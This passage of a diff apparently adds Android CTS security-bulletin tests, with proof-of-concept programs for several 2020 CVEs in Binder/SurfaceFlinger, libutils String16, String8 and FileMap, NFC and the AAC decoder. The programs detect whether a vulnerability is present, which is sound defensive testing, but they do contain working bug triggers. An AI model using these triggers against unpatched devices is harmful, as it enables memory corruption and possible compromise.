+        while (!work && (retryCount < MAXIMUM_NUMBER_OF_RETRIES)) {
+            ULock l(queueLock);
+            if (!workQueue.empty()) {
+                work.swap(workQueue.front());
+                workQueue.pop_front();
+            } else {
+                queueCondition.wait_for(l, QUEUE_TIMEOUT);
+                ++retryCount;
+            }
+        }
+        if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
+            return false;  // "Wait for generating C2Work exceeded timeout"
+        }
+        int64_t timestamp = (*Info)[frameID].timestamp;
+        if ((*Info)[frameID].flags) {
+            flags = (1 << ((*Info)[frameID].flags - 1));
+        }
+        if (frameID == (int)Info->size() - 1) {
+            flags |= C2FrameData::FLAG_END_OF_STREAM;
+        }
+
+        work->input.flags = (C2FrameData::flags_t)flags;
+        work->input.ordinal.timestamp = timestamp;
+        work->input.ordinal.frameIndex = frameID;
+        {
+            ULock l(queueLock);
+            flushedIndices.emplace_back(frameID);
+        }
+
+        int size = (*Info)[frameID].bytesCount;
+        char* data = (char*)malloc(size);
+        if (!data) {
+            return false;
+        }
+
+        ifStream.read(data, size);
+        if (ifStream.gcount() != size) {
+            return false;
+        }
+
+        work->input.buffers.clear();
+        auto alignedSize = ALIGN(size, PAGE_SIZE);
+        if (size) {
+            std::shared_ptr<C2LinearBlock> block;
+            if (linearPool->fetchLinearBlock(alignedSize,
+                                             {C2MemoryUsage::CPU_READ, C2MemoryUsage::CPU_WRITE},
+                                             &block) != C2_OK) {
+                return false;
+            }
+            if (!block) {
+                return false;
+            }
+
+            // Write View
+            C2WriteView view = block->map().get();
+            if (view.error() != C2_OK) {
+                return false;
+            }
+            if ((size_t)alignedSize != view.capacity()) {
+                return false;
+            }
+            if (0u != view.offset()) {
+                return false;
+            }
+            if ((size_t)alignedSize != view.size()) {
+                return false;
+            }
+
+            memcpy(view.base(), data, size);
+
+            work->input.buffers.emplace_back(new LinearBuffer(block, size));
+            free(data);
+        }
+        work->worklets.clear();
+        work->worklets.emplace_back(new C2Worklet);
+        std::list<std::unique_ptr<C2Work>> items;
+        items.push_back(std::move(work));
+
+        // DO THE DECODING
+        if (component->queue(&items) != C2_OK) {
+            return false;
+        }
+        ++frameID;
+        retryCount = 0;
+    }
+    return true;
+}
+
+// Wait for all the inputs to be consumed by the plugin.
+void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
+                            std::list<std::unique_ptr<C2Work>>& workQueue,
+                            size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
+    typedef std::unique_lock<std::mutex> ULock;
+    uint32_t queueSize;
+    uint32_t retryCount = 0;
+    {
+        ULock l(queueLock);
+        queueSize = workQueue.size();
+    }
+    while ((retryCount < MAXIMUM_NUMBER_OF_RETRIES) && (queueSize < bufferCount)) {
+        ULock l(queueLock);
+        if (queueSize != workQueue.size()) {
+            queueSize = workQueue.size();
+            retryCount = 0;
+        } else {
+            queueCondition.wait_for(l, QUEUE_TIMEOUT);
+            ++retryCount;
+        }
+    }
+}
+
+// Populate Info vector and return number of CSDs
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+    std::ifstream eleInfo;
+    eleInfo.open(info);
+    if (!eleInfo.is_open()) {
+        return -1;
+    }
+    int32_t numCsds = 0;
+    int32_t bytesCount = 0;
+    uint32_t flags = 0;
+    uint32_t timestamp = 0;
+    while (1) {
+        if (!(eleInfo >> bytesCount)) {
+            break;
+        }
+        eleInfo >> flags;
+        eleInfo >> timestamp;
+        bool codecConfig = flags ? ((1 << (flags - 1)) & C2FrameData::FLAG_CODEC_CONFIG) != 0 : 0;
+        if (codecConfig) {
+            ++numCsds;
+        }
+        frameInfo->push_back({bytesCount, flags, timestamp});
+    }
+    eleInfo.close();
+    return numCsds;
+}
+
+#define RETURN_FAILURE(condition) \
+    if ((condition)) {            \
+        return EXIT_FAILURE;      \
+    }
+
+int main(int argc, char** argv) {
+    RETURN_FAILURE(argc != 3);
+
+    Codec2VideoDecHidlTestBase handle;
+    RETURN_FAILURE(!handle.SetUp());
+    RETURN_FAILURE(!handle.configPixelFormat(HAL_PIXEL_FORMAT_YCBCR_420_888));
+
+    std::string eleStreamInfo{argv[2]};
+    android::Vector<FrameInfo> Info;
+    RETURN_FAILURE(populateInfoVector(eleStreamInfo, &Info) < 0);
+    RETURN_FAILURE(handle.mComponent->start() != C2_OK);
+
+    std::string eleStream{argv[1]};
+    std::ifstream ifStream;
+    ifStream.open(eleStream, std::ifstream::binary);
+    RETURN_FAILURE(!ifStream.is_open());
+    RETURN_FAILURE(!decodeNFrames(handle.mComponent, handle.mQueueLock, handle.mQueueCondition,
+                                  handle.mWorkQueue, handle.mFlushedIndices, handle.mLinearPool,
+                                  ifStream, &Info));
+    // blocking call to ensures application to Wait till all the inputs are
+    // consumed
+    if (!handle.mEos) {
+        waitOnInputConsumption(handle.mQueueLock, handle.mQueueCondition, handle.mWorkQueue);
+    }
+    ifStream.close();
+    RETURN_FAILURE(handle.mFramesReceived != Info.size());
+    RETURN_FAILURE(handle.mComponent->stop() != C2_OK);
+    RETURN_FAILURE(handle.mWorkResult != C2_OK);
+    if (handle.mHasVulnerability) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..6007113
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0226",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+    sp < IServiceManager > sm = defaultServiceManager();
+    if (!sm) {
+        return EXIT_FAILURE;
+    }
+    String16 name(String16("SurfaceFlinger"));
+    sp < IBinder > service = sm->checkService(name);
+    if (!service) {
+        return EXIT_FAILURE;
+    }
+
+    uint32_t code = 2, flags = 0;
+    Parcel data1, reply1;
+    data1.writeInterfaceToken(service->getInterfaceDescriptor());
+    service->transact(code, data1, &reply1, flags);
+    sp < IBinder > binder = reply1.readStrongBinder();
+    if (!binder) {
+        return EXIT_FAILURE;
+    }
+
+    Parcel data2, reply2;
+    data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+    for (uint8_t n = 0; n < kCount; ++n) {
+        data2.writeInt32(1);
+    }
+    data2.setDataPosition(kPosition);
+    data2.writeStrongBinder(binder);
+    binder->transact(code, data2, &reply2, flags);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
new file mode 100644
index 0000000..f4554af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0408",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+  android::String16 str{u"hello world"};
+  android::String16 substr{u"hello"};
+  const size_t begin = substr.size();
+  const size_t len = std::numeric_limits<size_t>::max();
+  if (str.remove(len, begin) != android::OK) {
+    return EXIT_FAILURE;
+  }
+  if (strcmp16(str, substr) != 0) {
+    return EXIT_FAILURE;
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
new file mode 100644
index 0000000..ece472a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0409",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+        "libbase",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
new file mode 100644
index 0000000..085eb41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "android-base/file.h"
+#include "utils/FileMap.h"
+
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
+
+int main() {
+  TemporaryFile tf;
+  android::FileMap fm;
+  fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
new file mode 100644
index 0000000..66934b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0421",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+  if (!strcmp(format, VULNERABLE_STRING)) {
+    return -1;
+  }
+  return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+  fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+  if (!fptr) {
+    return EXIT_FAILURE;
+  }
+  android::String8 str1{VULNERABLE_STRING};
+  str1.appendFormat(VULNERABLE_STRING);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
new file mode 100644
index 0000000..f8c4951
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0450",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            include_dirs: [
+                "system/nfc/src/nfc/include/",
+                "system/nfc/src/include/",
+                "system/nfc/src/gki/common/",
+                "system/nfc/src/gki/ulinux/",
+                "system/nfc/src/nfa/include/",
+            ],
+            shared_libs: [
+                "libnfc-nci",
+            ],
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..0499a84
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <stdlib.h>
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+void *kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
+    uint16_t block_number, uint8_t *p_data) = nullptr;
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_rw_i93_send_cmd_write_single_block =
+      (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
+          RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+  if (!real_rw_i93_send_cmd_write_single_block) {
+    return;
+  }
+
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  void *ptr = nullptr;
+  if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+    ptr = malloc(size);
+    memset(ptr, DEFAULT_VALUE, size);
+    kVulnPtr = ptr;
+    kVulnSize = size;
+  } else {
+    ptr = real_GKI_getbuf(size);
+  }
+  return ptr;
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  if (ptr == kVulnPtr) {
+    free(ptr);
+  } else {
+    real_GKI_freebuf(ptr);
+  }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
+                                          uint8_t *p_data) {
+  if (!kIsInitialized) {
+    init();
+  }
+  if (p_data == kVulnPtr) {
+    for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+      if (p_data[n] == DEFAULT_VALUE) {
+        kIsVulnerable = true;
+        break;
+      }
+    }
+  }
+  return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+  enable_selective_overload = ENABLE_ALL;
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    return EXIT_FAILURE;
+  }
+
+  (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+  p_i93->state = RW_I93_STATE_FORMAT;
+  p_i93->block_size = 7;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+  return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..69ce4b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0451",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+        "external/aac/libSBRdec/include",
+        "external/aac/libFDK/include",
+        "external/aac/libAACdec/src",
+        "external/aac/libArithCoding/include",
+        "external/aac/libMpegTPDec/include",
+        "external/aac/libPCMutils/include",
+        "external/aac/libDRCdec/include",
+        "external/aac/libSBRdec/src",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+   public:
+    Codec() = default;
+    ~Codec() { deInitDecoder(); }
+    bool initDecoder();
+    void decodeFrames(UCHAR *data, UINT size);
+    void deInitDecoder();
+    int validateQmfDomainBounds();
+
+   private:
+    HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+    AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+    mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+    if (!mAacDecoderHandle) {
+        return false;
+    }
+    return true;
+}
+
+void Codec::deInitDecoder() {
+    aacDecoder_Close(mAacDecoderHandle);
+    mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+    while (size > 0) {
+        UINT inputSize = size;
+        UINT valid = size;
+        mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+        if (mErrorCode != AAC_DEC_OK) {
+            ++data;
+            --size;
+        } else {
+            INT_PCM outputBuf[2048 * kMaxChannelCount];
+            aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+            if (valid >= inputSize) {
+                return;
+            }
+            UINT offset = inputSize - valid;
+            data += offset;
+            size = valid;
+        }
+    }
+}
+
+int Codec::validateQmfDomainBounds() {
+    // Check OOB for qmfDomain
+    void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+    HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+    // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+    {
+        void *qmfDomainInChPtr = nullptr;
+        void *qmfDomainOutChPtr = nullptr;
+        int channel = 0;
+        int element = 0;
+        int absChOffset = 0;
+        for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+            if (hSbrDecoder->pSbrElement[element] != NULL) {
+                for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+                     ++channel) {
+                    qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+                    qmfDomainOutChPtr =
+                        &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+                    if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+                        kIsVulnerable = true;
+                    }
+                }
+                absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+            }
+        }
+    }
+    return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    std::ifstream file;
+    file.open(argv[1], std::ios::in | std::ios::binary);
+    if (!file.is_open()) {
+        return EXIT_FAILURE;
+    }
+    file.ignore(std::numeric_limits<std::streamsize>::max());
+    std::streamsize length = file.gcount();
+    file.clear();
+    file.seekg(0, std::ios_base::beg);
+    UCHAR *data = new UCHAR[length];
+    file.read(reinterpret_cast<char *>(data), length);
+    file.close();
+
+    Codec codec = Codec();
+    if (codec.initDecoder()) {
+        codec.decodeFrames(data, length);
+    }
+    return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
new file mode 100644
index 0000000..afa4a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0470",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            shared_libs: [
+                "libmediandk",
+            ],
+            suffix: "64",
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0470/poc.cpp
new file mode 100644
index 0000000..d434e11
